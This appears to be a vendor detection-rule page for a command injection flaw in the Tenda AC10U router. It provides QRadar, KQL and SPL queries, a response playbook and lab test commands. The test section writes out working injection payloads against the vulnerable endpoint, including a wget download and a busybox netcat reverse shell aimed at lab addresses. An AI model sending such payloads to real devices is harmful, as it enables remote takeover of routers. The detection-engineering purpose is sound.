Detect Tenda AC10U httpd ate_ifconfig_set Command Injection (CVE-2026-138082) in IBM QRadar
Detects exploitation attempts against CVE-2026-138082, an OS command injection vulnerability (CWE-77, CWE-78, CVSS 9.3) in the ate_ifconfig_set function of /bin/httpd on the Tenda AC10U router (firmware 15.03.06.48_multi_TDE01). A remote attacker can inject shell metacharacters into an interface-configuration parameter handled by the ATE service, which httpd passes to a system()-style call. This yields arbitrary command execution on the device. A public proof of concept has been disclosed. Because embedded Tenda devices rarely emit rich host telemetry, this detection focuses on network-side indicators: HTTP requests to the vulnerable endpoint carrying shell metacharacters, and outbound connections (reverse shells, tool downloads) originating from the router management interface.
MITRE ATT&CK
- Tactic
- Initial Access Execution
QRadar Detection Query
-- df00tech DF00-cebe28b55f · https://df00tech.com/detections/CVE-2026-138082 · licence: https://df00tech.com/detections/licence
SELECT sourceip, destinationip, destinationport, "URL", "HTTP Method", starttime FROM events WHERE ("URL" ILIKE '%ate_ifconfig_set%' OR "URL" ILIKE '%ifconfig_set%' OR "URL" ILIKE '%/goform/%') AND ("URL" IMATCHES '.*(;|\||`|\$\(|&&|%3B|%7C|%60).*') ORDER BY starttime DESC LAST 24 HOURS QRadar AQL retrieving HTTP events to the Tenda ate_ifconfig_set endpoint containing command-injection metacharacters.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate admin configuration traffic
- Authorized vulnerability scans
- Research replay of PoC
Other platforms for CVE-2026-138082
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated ate_ifconfig_set command injection via curl
Expected signal: Proxy/Zeek HTTP log entry with URI containing ate_ifconfig_set and a semicolon metacharacter.
- Test 2 URL-encoded pipe injection probe
Expected signal: HTTP log with URI containing ate_ifconfig_set and %7C (encoded pipe).
- Test 3 Command-substitution reverse-shell simulation
Expected signal: HTTP log with URI containing ate_ifconfig_set and '$(' command-substitution characters.
Response Playbook
Triage
- Confirm the destination IP/device is a Tenda AC10U router running firmware 15.03.06.48_multi_TDE01 (or similar multi-TDE build) and that its management/httpd interface was reachable from the source.
- Decode the captured RequestURL/URI (URL-decode %-encoded bytes) and extract the injected payload following the metacharacter; determine whether it is a benign scan string or an actual command (wget/curl/busybox/sh).
- Check whether the source IP is internal (admin/scanner) or external/untrusted; external unauthenticated access to the device web UI is a strong exploitation indicator.
- Correlate the request timestamp with any outbound connections from the router to attacker infrastructure or file-download servers immediately afterward.
Containment
- Block inbound access to the Tenda device's httpd/management port (typically TCP 80/8080) from untrusted networks at the perimeter firewall.
- Isolate the affected router from the network segment if command execution is confirmed, and power-cycle only after capturing volatile evidence.
- Disable remote/WAN-side web management on the device and restrict the management UI to a dedicated admin VLAN.
Evidence Collection
- Preserve proxy/firewall/Zeek HTTP logs of the full request including headers, body, and injected payload.
- Capture a full packet capture (PCAP) of the session and any subsequent outbound traffic from the router.
- If device access is available, collect httpd process state, running processes, and any dropped files or modified startup scripts (nvram, /tmp, /var).
Escalation Criteria
- !Escalate to incident response if the request originates from an external/untrusted IP and is followed by outbound connections from the router (indicating successful reverse shell or payload retrieval).
- !Escalate if the injected payload contains clearly malicious commands (downloaders, cron/startup persistence, credential dumping) rather than a benign scanner probe.
Investigation Guide
Forensic Artifacts
- >
HTTP request logs containing the ate_ifconfig_set/goform URI with shell metacharacters - >
Outbound connections from the router to attacker C2 or download hosts - >
Dropped payloads or modified NVRAM/startup scripts on the device filesystem
Tuning Guidance
Whitelist the IPs of authorized vulnerability scanners and internal admin workstations that legitimately configure the device. If the environment has no Tenda AC10U devices, scope the rule to the known device management subnets to reduce noise. Tighten the metacharacter regex if benign admin values frequently contain semicolons; prioritize alerts where the source is external and followed by outbound router traffic.
Hunting Queries
Hunt for repeated command-injection probes against Tenda goform/ifconfig_set endpoints grouped by source IP.
// df00tech DF00-cebe28b55f · https://df00tech.com/detections/CVE-2026-138082 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "goform" or RequestURL has "ifconfig_set" | where RequestURL has_any (";","|","`","$(","%3B","%7C") | summarize count() by SourceIP, bin(TimeGenerated, 1h) ``` df00tech DF00-cebe28b55f · https://df00tech.com/detections/CVE-2026-138082 · licence: https://df00tech.com/detections/licence ```
index=network (uri="*goform*" OR uri="*ifconfig_set*") | regex uri="(;|\||`|\$\(|%3[bB]|%7[cC])" | stats count by src_ip, uri Atomic Red Team Tests
Sends a crafted HTTP request to a lab Tenda httpd emulator with shell metacharacters in the interface parameter to trigger the detection.
Command
curl -s 'http://192.0.2.10/goform/ate_ifconfig_set?ifname=eth0;id' --max-time 5 || true Cleanup
echo 'no cleanup required; request is stateless' Expected Telemetry
Proxy/Zeek HTTP log entry with URI containing ate_ifconfig_set and a semicolon metacharacter.
Expected Detection
KQL/SPL rule fires on the ate_ifconfig_set URI containing the ';' metacharacter.
Sends a URL-encoded command-injection payload to verify encoded-metacharacter matching.
Command
curl -s 'http://192.0.2.10/goform/ate_ifconfig_set?ifname=eth0%7Cwget%20http://192.0.2.20/x' --max-time 5 || true Cleanup
echo 'stateless; nothing to clean' Expected Telemetry
HTTP log with URI containing ate_ifconfig_set and %7C (encoded pipe).
Expected Detection
Detection matches on the URL-encoded %7C metacharacter in the request URI.
Sends a payload using $(...) command substitution to emulate a reverse-shell staging attempt against the vulnerable handler.
Command
curl -s 'http://192.0.2.10/goform/ate_ifconfig_set?ifname=$(busybox nc 192.0.2.20 4444 -e /bin/sh)' --max-time 5 || true Cleanup
echo 'stateless lab request; no persistent artifacts created' Expected Telemetry
HTTP log with URI containing ate_ifconfig_set and '$(' command-substitution characters.
Expected Detection
Detection fires on the '$(' metacharacter sequence in the request URI.